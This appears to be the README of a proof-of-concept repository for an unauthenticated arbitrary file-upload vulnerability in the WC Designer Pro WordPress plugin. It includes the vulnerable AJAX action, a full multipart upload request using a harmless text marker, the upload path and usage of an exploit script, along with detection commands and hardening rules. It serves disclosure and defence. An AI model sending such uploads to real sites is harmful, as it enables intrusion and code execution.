
A non-destructive proof of concept for an unauthenticated arbitrary file-upload vulnerability affecting the WC Designer Pro WordPress plugin.
WC Designer Pro contains an unauthenticated arbitrary file-upload vulnerability in an AJAX action exposed through WordPress's admin-ajax.php endpoint.
The affected handler processes user-controlled file metadata and file contents without enforcing adequate authentication, authorization, extension validation, MIME-type validation, or server-side filename restrictions.
Under vulnerable configurations, an unauthenticated attacker may be able to upload a server-executable file into a web-accessible directory. Successful exploitation may result in remote code execution under the privileges of the web server process.
The exact affected version range, CVE identifier, and CVSS score must only be published after they have been independently verified.
Successful exploitation could allow an unauthenticated attacker to:
The final impact depends on the web server configuration, PHP execution rules, filesystem permissions, and security controls deployed by the hosting provider.
The affected version range is currently being validated.
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
Do not state that every version is affected unless testing or vendor confirmation supports that conclusion.
The vulnerable upload flow appears to trust attacker-controlled values supplied to the following AJAX action:
wcdp_save_canvas_design_ajax
The request contains file metadata such as:
The vulnerability exists when the server accepts these values without performing all of the following controls:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
The observed upload path follows this structure:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
The exact path may vary depending on plugin version, WordPress configuration, and server environment.
pipThis proof of concept must not be used against third-party systems without explicit written authorization.
Clone the repository:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
Create and activate a virtual environment:
python3 -m venv .venv
source .venv/bin/activate
On Windows:
python -m venv .venv
.venv\Scripts\Activate.ps1
Install the dependencies:
pip install -r requirements.txt
Example requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
The proof of concept should be executed only against a single authorized laboratory target.
python3 exploit.py --url https://wordpress-lab.example
For a non-destructive verification:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
Example verification file:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
Use the built-in help command to view the supported arguments:
python3 exploit.py --help
Example output:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
The request invokes:
action=wcdp_save_canvas_design_ajax
A simplified request structure is shown below:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
This example intentionally uses a non-executable text file.
A successful request may return a response similar to:
{
"userID": false,
"filesCMYK": [],
"success": true
}
A successful response alone does not prove remote code execution. The researcher must separately confirm that:
The recommended verification procedure is:
.txt marker file.Avoid uploading web shells or command-execution payloads when a harmless marker file is sufficient to demonstrate the vulnerability.
A valid report should contain:
Administrators should inspect the following directory:
/wp-content/uploads/wcdp-uploads/temp/
Potential indicators include:
.php, .phtml, .phar, or similar executable files.admin-ajax.php using the affected AJAX action.Example log search:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
Example filesystem search:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
Site administrators should:
For Nginx, deny PHP execution inside uploads:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
For Apache, place an appropriate rule inside the uploads directory:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
These controls are defense-in-depth measures and do not replace fixing the vulnerable plugin code.
Plugin maintainers should:
current_user_can().wp_check_filetype_and_ext().This repository is intended exclusively for:
Do not use this code to access, modify, disrupt, or compromise systems without explicit authorization.
The author is not responsible for unauthorized, illegal, or abusive use of this material. Users are solely responsible for complying with applicable laws, contracts, rules of engagement, and coordinated vulnerability-disclosure requirements.
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
Do not publish a placeholder CVE as though it were an assigned identifier.
When a CVE is assigned, replace the placeholder with the official record:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
Security research should reduce risk, not create it.
Made for authorized security testing by m2hcz.
| Property | Value |
|---|
| Product | WC Designer Pro |
| Platform | WordPress |
| Vulnerability class | Unrestricted arbitrary file upload |
| CWE | CWE-434 |
| Authentication required | No |
| User interaction required | No |
| Potential impact | Remote code execution |
| Attack complexity | Low |
| Vulnerable component | WordPress AJAX upload handler |
| AJAX action | wcdp_save_canvas_design_ajax |